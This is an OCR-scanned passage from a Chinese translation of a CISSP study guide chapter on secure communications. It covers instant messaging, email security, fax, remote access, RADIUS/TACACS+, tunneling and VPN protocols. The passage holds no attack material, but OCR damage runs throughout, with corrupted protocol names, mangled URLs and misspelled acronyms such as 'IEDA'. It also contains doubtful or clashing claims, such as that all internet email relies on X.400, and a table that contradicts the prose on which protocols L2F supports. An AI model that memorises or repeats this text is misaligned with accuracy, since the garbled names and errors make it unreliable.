第 12 章 安全通信和网络攻击
1 2.3.1 远程会议
远程会议技术用于让任何产品、 硬件或软件可以和远程关系人之间相互交互。 这些技术和解决
方案有许多其他称呼: 数字化协作 、 虚拟会议、 视频会议、 软件或应用协作、 共享白板服务、 虚拟
培训I [解决方案等。 只 要是帮助人们进行沟通、 交换数据、 在材料/数据/文件上进行协 同或者在一起
工 作 以执行任务的任何服务 ， 都可 以被认为是远程会议技术服务。
无论实施什么形式的多媒体协作， 都必须对随之而来的安全影响进行评估。 服务是否使用强大
的身份认证技术? 通信发生于开放的协议还是加密的隧道? 方案是否允许真正的内容删除? 是否审
核和记录用户 的活动 ? 多媒体协作和其他形式的远程会议技术可以改善工作环境， 允许来自世界各
地的广泛多样的工作者投身进来， 但这个好处仅存在于通信解决方案的安全性得以保证的情况之下。
1 2.3.2 即 时消息
即时消息(Instant Messaging， 郎。是一种机制， 允许两个用户 在互联网上的任何位置进行实时文
字聊天。 一些 画4 工具允许文件传输、 多媒体、 语音和视频会议以及更多的功能。 有些形式的 1M 是
基于点对点的服务， 而另一些则使用集中控制服务器。 基于对等的 1M 容易让最终用户来部署和使
用 ， 但从企业的角度来看却是难以管理的 ， 因为它通常是不安全的。 它有很多漏洞: 容易遭受数据
包监听 ， 缺乏真正的本地安全功能 ， 没有提供隐私保护 。
许多形式的即时消息缺乏共同的安全特性， 如加密或用户隐私。 许多 四 客户端都容易通过它
们 的文件传输功能遭受恶意代码植入或感染。 此外， 1M 用户经常受到各种形式的社会工程学攻击，
如模仿或说服受害者泄露应该保护的机密信息(如密码)。
1 2.4 管理电子邮件的安全性
电子邮件是一种最广泛和最常用的互联网服务。 在互联网上使用 的 电子邮件基础设施主要由 电
子邮件服务器组成， 电子邮件服务器通过使用简单邮件传输协议(SMTP)接收来 自 客户端的消息， 向
其他服务器传送这些消息， 井且将消息存放到用户 的基于服务器的收件箱中 。 除了电子邮件服务器
之外， 这个基础设施还包括电子邮件客户端。 客户端通过邮局协议版本 3σOP3)或互联网消息访问
协议(IMAP)从基于服务器的收件箱中检索电子邮件。 客户端借助于 SMTP 与 电子邮件服务器进行
通信 。 互联网兼容的所有 电子邮件系统都依赖于 X.400 标准定位和处理邮件。
Sendmail 是 Unix 系统中最常用 的 SMTP 服务器， Exchange 是 Microsoft 系统中最常用的 SMTP
服务器。 除了 这两种主流产品 以外， 还存在很多可选的产品 ， 这些产品都共享相同 的基础功能 ， 并
且都符合互联网 电子邮件标准。
如果要部署 SMTP 服务器， 那么必须为入站和出站电子邮件正确地配置身份认证。 SMTP 被设
计为邮件中继系统， 这意味着由它将电子邮件从发送者中继至预定的接收者。 然而， 我们希望避免
SMTP 服务器成为开放中继(也被称为开放中 继代理或中继代理)， 开放中继是二种在接受和中继电
子邮件之前并不对发送者进行身份认证的 SMTP 服务器。 开放中继是垃圾邮件发送者的主要 目 标，
其原因在于它允许垃圾邮件发送者借助于不安全的电子邮件基础设施发送大量的邮件。 当开放中继
被锁定变为关 闭或认证中 继时 ， 越来越多 的 SMTP 攻击通过劫持认证用户账户而发生。
355
CISSP 官方学习指南(第 7 版)
1 2.4.1 电子邮件安全性的 目 标
对于电子邮件来说， 在互联网上使用 的基本机制提供了 有效的消息分发， 但是缺乏为机密性、
完整性甚至可用性提供的控制 。 换句话说， 基本的 电子邮件并不安全。 不过， 通过很多方式可以增
强 电子邮件的安全性。 增强的 电子邮件安全性可能满足下面列 出 的一个或多个 目 标:
• 提供不可否认性
• 限制 只有预定的接收者能够访 问 邮件(例如， 隐私性和机密性)
• 维护邮件的完整性
• 对 邮件源进行身份认证和校验
• 验证邮件的传输
• 对 邮件的内 容或附件的敏感度进行分类
正如 IT 安全性的 内 容一样， 电子邮件的安全性首先依赖于由更高级管理人员批准的安全策略。
对于这个安全策略 ， 必须解决下列问题:
• 电子邮件可接受的使用策略
• 访问控制
• 隐私
• 电子邮件管理
• 电子阳件的备份和保管策略
可接受的使用策略定义了在组织的 电子邮件基础设施上能够执行和不能执行的活动。 它常常规
定可以发送和接收专业的、 面向 业务的电子邮件和数量有限的个人电子邮件。 针对执行个人事务(也
就是为其他组织工作 ， 包括自 己创业)、 非法的 、 不道德的活动或攻击性通信 ， 以及对生产、 收益或
公共关系产生不利影响的其他任何活动 ， 往往 需要施加特定的限制。
对电子邮件的访问控制应当是持续的， 这样用户才能够只访问他们的特定收件箱和电子邮件存
档数据库。 这条规则的扩展规定: 无论是被授权的还是未被授权的用户 ， 都不能访问他人的 电子邮
件 。 访问控制应当同时提供合法的访问 以及某些隐私级别， 至少对同事和未授权的入侵者保密。
组织实现、 维护和管理电子邮件所使用 的机制和过程应当清晰明 了 。 终端用户可能不需要了解
电子邮件的管理细节， 但是必须了 解电子邮件是否是保密的通信 。 近年来， 在很多法律案件中电子
邮件成为双方攻防的重点， 归档的邮件被用作证据， 这往往会令邮件的发送者或接收者十分恼火。
如果电子邮件要进行保留(也就是备份和归档存储 ， 以备将来使用)， 那么需要让用户意识到这种情
况。 如果审计人员希望查看电子邮件是否违规， 那么也需要通知用户 。 一些公司选择电子邮件在被
销毁之前只保留三个月 ， 而其他一些公司则选择电子邮件保留数年时间 。 你所在的国家以及所从事
的行业往往规定了 电子邮件的保留策略。
1 2.4.2 理解电子邮件的安全性问题
356
部署电子邮件安全性的第一个步骤是要认识电子邮件特有的脆弱性。 用 于支持电子邮件的协议
并不采用加密。 因此， 所有的邮件都按照 向 电子邮件服务器提交的形式进行传输， 这种形式往往是
明文。 这个脆弱性使得电子邮件很容易被截获和偷听。 不过， 在与电子邮件安全性相关的各种问题
中 ， 自 身缺 乏加密是最不重要的 。
第 12 章 安全通信和网络攻击
电子邮件是病毒、 蠕虫、 特洛伊木马、 破坏性宏文件以及其他恶意代码利用 的最常用传输机制 。
对各种脚本语言 、 自动下载能力和 自 动运行特性的支持的增加， 己经将电子邮件内 容和附件中的超
级链接变成了对所有系统的严重威胁。
在源验证方面， 电子邮件几乎没有提供任何方法。 即使攻击者是新手， 对 电子邮件的源地址进
行欺骗也是轻而易举的。 电子邮件头部既可以在源地址处进行修改， 也可以在传输过程中 的任何位
置进行修改。 此外， 通过直接连接电子邮件服务器的 SMTP端口， 也能够将电子邮件直接传送至电
子邮件服务器上的用户收件箱 。 至于传输中 的修改问题， 我们应当认识到: 电子邮件本身没有确保
邮件在源和 目 的地之间不被修改的 完整性检查 。
此外， 电子邮件本身也可以作为攻击机制 。 当足够多的邮件被指向单个用户的收件箱或者通过
特定的 SMTP 服务器时， 就可能导致拒绝服务服务(DoS)。 这种攻击常常被称为邮件炸弹， 并且只
是通过邮件使系统槛出的 DoS 攻击。 此时， DoS 既可能是存储容量遭到消耗的结果， 也可能是处理
能力过度使用 的结果。 无论是哪一种情况 ， 结果都是一样的 : 合法的邮件无法被发送。
像电子邮件泛洪溢出和恶意代码附件一样， 多余的 电子邮件也被视为一种攻击。 发送多余的、
不适当的或无关的邮件被称为垃圾邮件攻击。 垃圾邮件攻击常常令人生厌， 它不仅消耗本地的系统
资源， 而且还消耗互联网上的系统资源。 由于邮件的源地址通常都是欺骗性的地址， 因此垃圾邮件
往往很难被阻塞。
1 2.4.3 电子邮件安全性解决方案
为 电子邮件增强安全性是可能的， 但是所做的工作都应与正在交换的 邮件的价值和机密性相符。
可 以在不需要对基于互联网 的整个 SMTP 基础设施进行全面修改的情况下， 使用某些协议、 服务和
解决方案(包括 协也伍、 MOSS、 PEM 和 PGP)为电子邮件添加安全性。 我们己在第 7 章 "p阳 和
密码学应用 " 中 深入讨论过 SIMIME。
安全多用途互联网邮件扩展(S/MIME) S岛D但 是一种电子邮件安全标准， 通过公钥加密和数
字签名为电子邮件提供身份认证和隐私保护。 通过 X.509 数字证书能够提供身份认证， 隐私则是通
过使用公钥密码学标准σKCS)加密提供的。 使用 SIMIME 可以构成两种类型的邮件: 签名的邮件和
安全封装的 邮件 。 签名 的 邮件提供了完整性和对发送者的身份认证。 安全封装的邮件提供了 完整性、
对发送者的 身份认证 以及机密性。
MIME对象安全服务(MOSS) MTh伍对象安全服务可以为邮件提供身份认证、 机密性、 完整性
和不可否认性。 MOSS利用 了MD2 和MD5 算法、 RSA公钥以及数据加密标准。)ES)， 从而提供了身
份认证和加密服务。
隐私增强邮件(PEM) 隐私增强邮件是一种电子邮件加密机制 ， 使用 RSA、 DES 和 X.509 提供
了 身份认证、 完整性、 机密性和不可否认性。
域名密钥识别邮件标准(DKIM) DKIM 是一种手段， 确保了合法邮件被组织通过域名身份认证
来发送。 详情可查看 http://www此lffi.org。
良好的隐私(PGP) 良好的隐私σGP)是一个使用 多种加密算法对文件和 电子邮件进行加密的
公-私密钥系统。 第一版 PGP 使用 RSA， 第二版使用 国际数据加密算法(IEDA)， 但是以后的版本提
供了算法选择。 PGP 不是标准 ， 而 是一款 自 主开发的产品， 获得互联网草根阶层的广泛支持。
357
358
CISSP 官方学习指南(第 7 版)
@ 真实场景
免费的 PGP 解决方案
PGP 最初是任何人都可以使用 的免费产品， 但是随后又被分为 两个不同 的产品。 PGP 是一款商
业产品 ， 而 OpenPGP 是一个正在开发的标准， GnuPG 依从这个标准， 并且这个标准被免费软件基
金会独立开发。 如果以前没有用 过 PGP， 那么我们建议为首选的 电子邮件平 台 下载适当的 GnuPG
版本。 这个安全解决方案无疑能够改善电子邮件的 隐私性和完整性。 在 h即://gnupg.org 站点上， 你
可以 了 解到 GnuPG 的更多相关信息。
通过使用这些和其他用于 电子邮件和通信传输的安全机制， 可以减少或消除很多邮件的安全脆
弱性。 数字签名可以帮助消除假冒。 对邮件的加密减少了偷听的问题， 并且使用 电子邮件过滤器能
够将垃圾邮件和 邮件炸弹维持在最小数量。
网络中 电子邮件网关系统上的附件阻塞功能可以减轻来自恶意附件的威胁。 可 以建立 1 00%无
附件的策略， 或者只对那些己知的或被怀疑为恶意的附件进行阻塞， 例如那些具有可执行的或脚本
文件扩展名 的附件。 如果附件是电子邮件通信的必需部分， 那么需要依靠对用户 的培训和反病毒工
具进行保护 。 培训用户避免与可疑人和意外附件接触， 从而大大减少通过电子邮件传送恶意代码的
风险。 反病毒软件对于己知病毒一般是有效的 ， 但是对于新的或未知的病毒几乎起不到保护作用。
@ 真实场景
传真的安全性
由 于 电子邮件的广泛使用 ， 传真通信 已不再那么 流行。 电子文档很容易通过电子邮件的 附件形
式进行交换。 打印的文档被扫描后也可以很容易地通过电子邮件进行传送， 就像传真一样。 不过，
我们仍然必须在整体的安全计划 中 涉及传真通信的 问题。 大多数调制解调器使用 户 能够连接远程计
算机系统和收友传真。 很多操作系统内直了传真功能， 而且存在多 种在计算机系统上使用 的传真产
品 。 从某 台 计算机的传真/调制解调 器发 出 的传真可以被另 一 台 计算机或常规的传真机所接收。
虽 然使用趋势 已经衰退， 但是传真仍然代表一种易 于遭受攻击的通信途径。 与 其他任何电话通
信一样， 传真能够被截获， 并且很容易被偷听。 如果记录下完整的传真通信， 那么通过另一台传真
机就能够重放比通信 ， 从而可以提取出被传送的 文档 。
可以通过部署某些机制未改善传真的安全性， 这些机制 包括传真力口密器、 链路加密、 活动 日 志
以及异常报告。 传真加密器使传真机能够使用 某种力口密协议来扰乱即将外友的传真信号。 使用力口密
器时， 接收方的传真机也必须支持相 同 的力口密协议， 从而能够对文档进行解密。 链路为口密指的是使
用 力口密的通信路径传输传真信号， 就像 VPN 链接或安全的 电话链接一样。 活动 日 志和异常报告能
够用 于检测传真 中 表现为 攻击征兆的 异常活动。
除了 传真传输的安全性之外， 考虑传具接收的安全性也十分重要。 自 动打印的传真可能长时间
搁直在 已处理文件盒内 ， 因此很容易被非预定的接收者看到 。 研究表明 : 添加 CONFIDENTIAL
P阳VATE 等横幅反而会引起和激发无关人员 的好奇心。 因此， 务必禁止 自 动打印。 此外， 避免传真
利用 能够保留 己打印传真 图像的 色带或墨盒。 考虑将传真系 统与 网络集成在一起， 从而不必在纸上
打 印传真 ， 而是通过电 子邮件将传真发送给预定的接收者。
第 12 章 安全通信和网络攻击
1 2.5 远程接入安全管理
远程交换(或远程连接)己成为商业计算的一种常见特征。 远程访问使身处远方的客户端能够建
立与某个网络的通信会话 。 客户 端可 以来用这样的形式建立通信会话:
• 使用调制解调器直接拨号登录远程访 问 服务器
• 在互联网上通过 VPN 连接至某个网络
• 通过瘦客户 端(thin-client)与某个终端服务器系统相连接
前两个示例使用 了功能完备的客户端， 这些客户端建立的连接使其就像直接连接到 LAN 一样。
最后一个示例使用终端服务器建立了来 自 某个瘦客户端的连接。 这种情况下， 所有计算动作都在终
端服务器系统中发生 ， 而不是在远程客户端上发生。
远程交换也通常涉及电话通信。 电话是指提供给组织的 电话服务的方式集合， 或是组织使用 电
话服务进行语音和/或数据通信的机制集合。 传统上， 电话包括普通旧式电话服务σOTS)一一也被称
为公共交换电话网络mη。一-结合调制解调器。 然而 ， 专有分组交换机(pBX)、 VoIP 和 VPN 也通
常用于 电话通信 。
@ 真实场景
远程访问和远程交换技术
远程办公是在远程场所(t!r主办公室 以外)进行工作。 事实上， 有一个很好的机会让你把某种形
式的远程交换作为 当 前工作的→阶。 远程交换客户 端千却有许多 远程访问技术同 中 央办公室局域网
建立连接 。 远程访 问技术主要有 4 种类型:
特定服务 特定的远程访问为用户提供远程连接、 操作或与单一服务交互 ， 例如电子邮件。
远程控制 远程控制技予远程用 户 能够完全控制 另 一个与他们存在物理距离的 系 统。 连接的显
示 器和键盘的响应使得用 户 感 觉好像他们是直接连接到远程 系 统。
屏幕抓取/抓取 这个词可以用 在不 同 的情况下 。 首先， 它有时被用 来指远程控制 、 远程访问或
远程桌面服务。 这些服务也被称为虚拟应用或虚拟桌面。 这个想法是， 将目标机器上的屏非是行抓
取并显示给远程才知丰 员 。 因此远程访问 资源在远距离传输过程中会有额外的风险、 泄露和损害， 因
此使用 屏幕抓取加密就十分重要。
其次， 屏幕抓取这个技术可以让一个 自 动化的工具来和人制妾口 互动。 例如， 一些独立的数据
收集工具在它们的运行中使用 搜索引擎。 然而， 大多 数搜索 引 擎必须通过正常的Web接口 才能使用 。
例如， 谷哥大要求所有的技索都通过一个谷歌搜索表羊域进行(在过去， 谷歌提供了 一个API接口 来支
持其他产品与其后端直接交互。 不过， 谷歌终止了 这一做法以支持广告与技索结果的整合)。 屏幕抓
取技术可 以与人性化设计 的 Web 前端进行文王 ， 并 将 网 页 结 果 解析提取为相 关 信息。
F oundstone/McAfee的 SiteDigger就是这类产品的一个很好的例子。
远程节点操作 远程节点操作只是拨号连接的另 一个名称。 远程系统连接到远程访问 服务器，
该服务器向远程客户 端提供网 络服务和可能的王联网接入。
POTS 和 PSTN 指传统的固定电话连接。 POTS/ PSTN 连接过去是许多企业唯一或主要可以获得
高速、 高性价比和无处不在的远程连接方式。 一旦无线宽带服务越来越多， 用 于家庭用户 的 POTS/
PSTN 互联网连接也将逐步消失。 POTS/ PSTN 连接有时还作为远程连接宽带解决方案失效后的备份
359
CISSP 官方学 习指南(第 7 版)
选项。 作为农村的互联网连接及远程连接方案 ， 当 ISDN或VoIP 不存在或不符合成本效益时， 就可
以使用一条标准的语音线路用作连接。
当远程访问功能在任何环境下进行部署时， 安全必须考虑和实施， 并对私有网络进行保护， 防
备远程并发访 问 。
• 远程访 问用户 在被授予访 问 之前应严格认证 。
• 只 有那些为了 完成他们 的任务而需要远程接入的用户才被允许建立远程连接。
• 所有远程通信应进行保护 以防止截取和窃听。 通常这需要一个加密解决方案， 为认证流量
以及所有的数据传输提供有力保护 。
在开始传输敏感的、 有价值的或个人信息前， 建立安全通信信道是很重要的。 远程访问会构成
几个潜在的 安全问题点， 如果不受保护和充分监测 :
• 远程连接的任何人都可 以 尝试打破组织的安全性 ， 物理安全效益会被降低 。
• 远程工作者可能使用不安全或较不安全的远程系统访问敏感信息， 这就增加了敏感信息遭
受更大损失 、 破坏和泄露的风险。
• 远程系统可能遭受恶意代码攻击 ， 并作为载体将恶意软件带入私有局域网。
• 远程系统本身可能也不安全 ， 因 此会被未经授权实体使用或遭受偷窃的风险。
360
• 远程系统可能会更难以排除故障 ， 特别是涉及围绕远程连接的问题。
• 由于远程系统潜在的 、 不频发的连接或缓慢的吞吐量， 远程系统可能不容易升级或修补
补丁。
1 2.5.1 计划远程接入安全
当列出远程访 问 安全管理策略时 ， 务必解决 以下问题:
远程连接技术 每一种远程连接都存在 自 己特有的安全问题。 仔细查看当前连接选项的各个方
面 ， 这可能包括调制解调器 、 DSL、 ISDN、 无线网络、 卫星以及电缆调制解调器。
传输保护 加密协议、 加密连接系统、 加密的网络服务或应用程序存在多种形式。 根据远程连
接需要组合使用适当 的安全服务组合 ， 这可能包括 VPN、 SSL、 TLS、 SSH、 IPSec 以及 L2TP。
身份认证保护 除 了保护数据通信之外， 还必须确保所有登录凭证都是安全的。 为了保证登录
凭证的安全， 就需要使用某种身份认证协议， 甚至需要授权使用集中的远程访问身份认证系统， 这
可能包括密码认证协议σ�)、 挑战握手认证协议(CHAP )、 扩展认证协议但AP 及其扩展的 PEAP 或
LEAP)、 远程认证拨号用户 服务(RADIUS) 以及终端访 问 控制 器访问控制系统(TACACS+)。
远程用户支持 远程访问用户可以定期寻求技术支持。 必须通过某种途径以提供最有效的技术
支持， 这可能包括解决软件和硬件问题以及用户 的培训 问题等。 如果组织无法为远程用户 的技术支
持提供合理的解决方案， 就可能导致生产力的损失、 远程系统的破坏或整体性违反组织的安全。
如果很难或不可能将安全性保持在与私有 LAN 远程系统相似的水平 ， 远程访问应当重新考虑。
网络访 问 控制(NAC)有助于此， 但会导致更新和补丁传输速度较慢的连接。
使用远程访问或建立远程连接的权限必须受到严格的控制 。 通过使用基于用户身份、 工作站身
份、 协议、 应用、 内容以及时间的过滤器、 规则或访问控制， 就能够控制和约束远程连接的使用 。
为了只允许获得授权的用户进行远程访问， 可 以使用 回 叫和呼叫者 D。 回叫是一种机制， 这种
机制在最初联系时断开与远程用户 的联系， 随后立即使用预定义的电话号码(也就是在用户账户 安全
数据库 中 己定义的电话号码)尝试重新连接。 回叫有一种用户 自 定义模式， 不过这种模式并未用于安
第 12 章 安全通信和网络攻击
全性， 而是被用于将长途话费的收取对象由远程客户端转移至公司。 呼叫者 D 验证的用途与回 叫
相同， 不过需 要通过电话号码来验证授权用户 的物理位置(通过电话号码)。
任何安全策略都必须有一个标准的要素， 就是与专有网络相连接的所有系统上不能存在未授权
的调制解调器。 还可能需要进一步指定安全策略， 以指示可移植系统必须在连接网络之前去除所有
调制解调器， 或者必须使用禁用调制解调器设备驱动程序的 硬件配置文件进行 启动 。
1 2.5.2 拨号协议
在建立远程连接时， 必须使用某些协议来管理连接的实际创建方式， 并为其他协议建立工作于
其上的通用通信基础。 重要的是， 只 要有可能就要选择支持安全性的协议。 最低限度， 确保身份认
证的手段是必要的， 增加数据加密也是首选。 拨号协议的两个最主要的例子一一ppp 和 SLIP， 不仅
为真正的拨号连接， 也为一些 VPN 连接提供连接的管理 。
点五柿、协议(PPP) 是一种全双工协议， 用 于在各种非 L剧 连接上传输 TCPIIP 数据包， 这些
连接包括调制解调器、 ISDN、 VPN 和帧中继等。 PPP 得到了 广泛支持， 并且是拨号互联网连接的
传输协议选项。 通过使用各种协议(例如， CHAP 或 PAP)， PPP 身份认证能够受到保护。 PPP 是 SLIP
的 替换协议， 并且可 以支持任何 LAN 协议， 而不只是支持 TCP/IP。
网络串行线路协议(SLlP) 是一种较旧 的技术， 用于支持异步串行连接(例如， 串 行线缆或调制
解调器拨号)上的 TCPIIP 通信。 SLIP 己很少使用 ， 不过仍然得到很多系统的支持。 SLIP 只 能够支持
IP 协议， 需要静态 的 IP 地址 ， 不提供差错检测或纠正功能， 并且不支持压缩。
注意 :
在许多 专有的拨号协议中 ， 有一种是 Microcom 联网协议。创刊。 MNP 是 20 世纪 90 年代在
Microcom 调 制解调 器上 出 现的 ， 支持 自 己 的 差错控制形 式(也就是 Echoplex)。
1 2.5.3 集中化的远程身份认证服务
随着远程访问逐渐成为组织商业活动中 的一个要素， 在远程客户端和专用 网络之间添加安全层
往往显得十分重要 。 集中化的远程身份认证服务(例如 ， RADTIJS 和 TACACS+)就提供了 这种额外的
保护层。 这些机制为远程客户端进行局域网或当地客户端操作提供了 一个隔离的认证和授权过程。
隔离对于安全是很重要的， 因为如果RADTIJS 或 TACACS+服务器受到损害， 那么 只有远程连接受
到影响 ， 而网络的其他部分不受影响。
远程认证拨号用户服务(RADIUS) 这种机制用于集中完成远程拨号连接的身份认证。 对使用
RAD町S 服务器的网络进行配置， 从而使远程的访问服务器将拨号用 户 的登录凭证发送至RADTIJS
服务器进行身份认证。 这个过程类似于域客户端向域控制器发送登录凭证以进行身份认证的过程。
终端访问控制器访问控制系统σACACS+) 这种机制能够替换 RADTIJSo TACACS 具有三种
可用 的版本: 最早版本的 TACACS、 扩展的 TACACS仅TACACS)以及 TACACS+o TACACS 集成了
身份认证和授权过程。 XTACACS 保持了身份认证、 授权和记账过程的分离。 TACACS+通过增加双
因素身份认证增强了 XTACACS 0 TACACS+是这个产品 线最流行和相关的版本。
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CISSP 官方学习指南(第 7 版)
1 2.6 虚拟专 用 网络
虚拟专用网(VPN)是一条通信隧道， 可以在不可信的中间网络上提供身份认证和数据通信的点
对 点传输。 大多数 VPN 使用加密技术来保护封装的通信数据 ， 但是加密对 于 VPN 连接而言并非必
需的。
VPN 最常与通过互联网在两个距离遥远的网络之间建立安全的通信路径相关联。 不过， VPN
可 以存在于任何地方， 包括专用网络内或连接 ISP 的终端用户 之间 。 VPN 可以连接两个网络或两个
单独的系统。 VPN 能够连接客户端、 服务器、 路由器、 防火墙以及交换机。 在为依赖于有风险或脆
弱性的通信协议或技术的 旧应用(尤其是通过网络进行通信时)提供安全性时 ， VPN 也非常有用 。
VPN 在不安全的或不可信的中间网络上提供了机密性和完整性， 但是并不提供和保证可用性。
VPN 也 比较广泛地用到像 Nett1ix 和 Hulu 对服务 定位的要求， 从而提供了 (有时怀疑)匿名性。
1 2.6.1 隧道技术
在能真正理解 VPN 之前， 必须先理解隧道技术。 隧道技术是网络的通信过程， 通过将协议包
封装到其他协议包中来保护协议包的内容。封装是在不可信的中 间网络上建立通信隧道的逻辑错觉。
这条虚拟路径存在于通信两端的 封装和拆装实体之间 。
事实上， 给祖母发送信件时也会涉及使用隧道系统。 书写个人信件(协议包的主要内容)并将它
装进信封(隧道协议)， 这封信通过邮递服务(不可信的 中 间网络)被发往预期的收信人。 隧道技术可以
用在很多场合(如绕过防火墙、 网关、 代理或其他通信控制设备时)。 通过将受限制的内容封装到己
授权传输的数据包中 ， 就可以实现旁路。 由于通信控制设备不了 解数据包中包含的实际内容， 因此
隧道处理能防止通信控制设备阻止或丢弃通信 。
隧道技术常常被用于使其他情况下会断开的系统之间能够进行通信。 如果两个系统由于缺乏网
络连通性而断开， 那么可以通过调制解调器的拨号连接或其他远程访问或广域网仰j<\N)网络连接服
务来建立通信连接。 实际的 LAN 通信被封装在由 临时连接使用 的任意通信协议中， 例如调制解调
器拨号环境中 的点对点协议(PPP)。 如果两个网络通过某个使用不 同协议的网络相连接， 那么被分隔
网络的协议常常可 以 被封装在中间网络 的协议内， 从而提供通信路径。
无 论实际的环境如何， 隧道技术通过将内 部协议的 内容和通信数据包包裹或包装在中 间网络或
连接所使用 的 己授权协议中， 对它们进行保护。 如果主协议是不可路由 的并且为了维持网络上支持
最小数量的协议， 就可 以使用 隧道技术。
⑩ 真实场景
隧道技术的扩散
隧道技术是通信系统内 的一种常见活动， 很多人经常在不知不觉的情况下使用 隧道技术。 例如，
每当使用安全的 SSL 或 TLS 访 问 Web 站点时， 就会用 到隧道技术， 此时明 文 Web 通信通过隧道技
术被装入 SSL 或 TLS 会话。 此外， 如果何有王联网 电话或 VoIP 系统， 那 么语音通信会通过也草技
术被装入某种 VoIP 协议。
在日常生活中 ， 还会遇到 多 少使用 隧道技术的 实例?
第 1 2 童 安全通信和网络攻击
如果封装协议的操作涉及加密， 那么隧道技术可以提供通过不可信的中间网络传输敏感数据的
方法， 并且不必担心丢失机密性和完整性。
隧道技术并不是没有问题。 由于大多数协议都包含自身的错误检测 、 错误处理、 确认和会话管
理功能， 因此隧道技术通常不是一种有效的通信方法。 正因为如此， 在传输单独的报文时， 一次使
用 多个协议会混合额外的开销。 而且， 隧道技术生成了 更大的或者数量更多的信息包， 这也会消耗
额外的网络带宽。 如果没有足够的带宽， 那么隧道技术会很快使网络饱和 。 此外， 隧道技术是一种
点对点的通信机制， 并且设计时没有考虑对广播通信的处理。 隧道技术也使得在某些情况下监控流
量的内容变得很难， 但不是不可能， 这为安全从业者制造了 不少麻烦 。
1 2.6.2 VPN 的工作原理
VPN 连接能够被建立在其他任何网络通信连接上， 这些连接可以是典型的 LAN 线缆连接、 无
线 L剧 连接、 远程访问拨号连接、 W剧 连接， 甚至可以是客户端访问办公室 LAN 时使用的互联
网连接。 VPN 连接就像一条典型的直接 LAN 线缆连接， 唯一的区别可能是速率， 而速率依赖于客
户 端系统和服务器系统之间 的中间网络和连接类型。 在一条 VPN 连接上， 客户端可以像通过一条
LAN 线缆直接连接那样执行完全相 同 的操作和访 问相同 的资源。
VPN 可 以连接两个单独的系统或两个完整的网络。 二者唯一的区别在于: 被传输的数据只有在
位于 VPN 隧道内时才会受到保护。 网络边界上的远程访问服务器或防火墙是 VPN 的起点或终点 。
因此， 通信在源 LAN 中没有受到保护， 在边界 VPN 服务器之间得到了保护， 一旦到达 目 的地， LAN
就不再受到保护 。
穿越互联网进行远距离网络连接的 VPN 连接常常是替代直接连接或租用线路的便直选择。 两
条至本地 ISP 的 、 支持 VPN 的高速互联网连接的成本， 往往远小于其他任何可用连接方式的成本。
1 2.6.3 常 用 VPN 协议
使用软件或硬件解决方案都可以实现 VPN。 不管来用明阿'Il解决方案， 总是存在 4 种常用 的 VPN
协议: PPTP， L2F、 L2TP 和 IPSeco PPTP， L2F 和 L2TP 在 OSI 模型的数据链路层(第 2 层)上工作。
PPTP 和 IPSec 被限制在 IP 网络中使用 ， 而 L2F 和 L2TP 则被用 于封装任何 LAN 协议。
注意 :
SSUTLS 也可以被用 来作为 VPN 协议， 而 不只 是作为 工作在 TCP 之上的会话加密。 CISSP 考
试似乎并不 包括 SSL/TLS VPN 的内容。
1 点对点隧道协议
点对点隧道协议σPTP)是从拨号协议点对点协议(PPP)开发出来的一种封装协议， 工作在 OSI
模型的数据链路层(第 2 层)上 ， 并且被用在 E 网络中。 P町P 在两个系统之间创建了一条点对点隧
道， 井且封装 了 PPP 包 。 通过与 PPP 支持相同的身仇呗证协 议， P盯P 为身份认证通信提供了倒户 。
这些身份认证协议包括:
• Microsoft 挑战握手身份认证协议(MS-CHAP)
• 挑战握手身份认证协议(CHAP)
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364
CISSP 官方学习指南(第 7 版)
• 密码身份认证协议(PAP)
• 扩展身份认证协议(EAP)
• Shiva 密码身份认证协议(SPAP)
注意 :
C1SSP 考试的重点是 PPTP 的 盯C 2637 版本， 而 不是微制反本的 实现， 在锹版本进行 了 专 n修
改并使用 微软点对，主力口 密(MPPE)来支持数据加 密 。
PPTP 使用 的最初隧道协商过程并没有加密。 因此， 包含发送者和接收者 E 地址(可以包括用户
名和散列密码)的会话建立通信包可能被第三方截获。 PPTP 被用在 VPN 上 ， 但是它常常被第二层隧
道协议(L2TP)代替。 L2TP 可 以使用 1PSec 为 VPN 提供通信加密。
PPTP 不支持 TACACS+和RAD町S。
2. 二层转发协议和二层隧道协议
思科公司开发了 自 己的 VPN 协议: 第二层转发协议(L2F)， 这是一种相互的身份认证隧道机制。
然而， L2F 并不提供加密。 L2F 没有得到广泛部署， 并且很快被 L2TP 取代。 正如它们的名字所暗
示的， 它们都工作在 OS1 模型的第 2 层上 。 它们都可 以封装任何局域网协议。
二层隧道协议(L2TP)源 自 于 P盯P 和 L2F 的组合。 L2TP 会在通信的端点之间建立一条点对点的
隧道。 L2TP 缺乏内置的加密方案， 而是通常依赖 IPS巳c 作为安全机制。 L2TP 还支持 TACACS+和
RADIUS o IPSec 通常为 L2TP 用 做一种安全机制 。
3. IP 安全协议
目 前最常用 的 VPN 协 议是 IPSeco IPSec 既是一个独立的 VPN 协议， 也是用于 L2TP 的安全机
制 ， 并且只能用于 E 通信 。 IPSec 提供了 安全的身份认证以及加密的数据传输。 IPSec 具有下列两
个主要的组件或功能:
身份认证头(AH) AH 提供身份认证、 完整性 以及不可否认性 。
封装安全有效载荷(ESP) ESP 提供了加密， 从而能够保护传输数据的机密性 ， 不过也可以执
行有限的身份认证操作。 ESP 在网络层(第 3 层)上工作， 并且可以用在传输模式或隧道模式中 。 在
传输模式中 ， 对E数据包数据进行了加密 ， 但是对数据包的头部并没有进行加密。 在隧道模式中 ，
对整个 IP 数据包都进行了加密， 并且新的数据包头被添加至 E 数据包， 从而能够控制通过隧道进
行 的传输。
表 1 2. 1 说明了 VPN 协议的主要特征。
表 12.1 VPN 协议的主要特征
自 带身份 自 带数据 支持拨号 同时存在的
VPN 协议 支持的协议
认证保护 ? 加密? 连接? 连接数
PPTP 是 否 只支持 IP 是 单个点对点连接
L2F 是 否 只支持 IP 是 单个点对点连接
L2TP 是 否(可 以使用 IPSec) 支持任何协议 是 单个点对点连接
IPSec 是 是 只 支持 IP 否 多 个连接
第 12 章 安全通信和网络攻击
VPN 设备是一种网络增件设备， 用 于创建与服务器或客户端系统分隔开的 VPN 隧道。 对于互
联系统来说， 对 VPN 设备的使用是透明的。
1 2.6.4 虚拟局域网
虚拟局域网(VLAN)被用于硬件上以实施网络分隔。 VL剧 在网络上进行逻辑隔离而不改变其
物理拓扑。
VLAN 由 交换机创建。 默认情况下， 交换机上的所有端口 都属于 吼剧# 1 。 但随着交换机管理
员 更改每个端 口上的 叽剧 分配， 不同的端口可以组合在一起并且使用 各 自不同的 叽剧 端口名
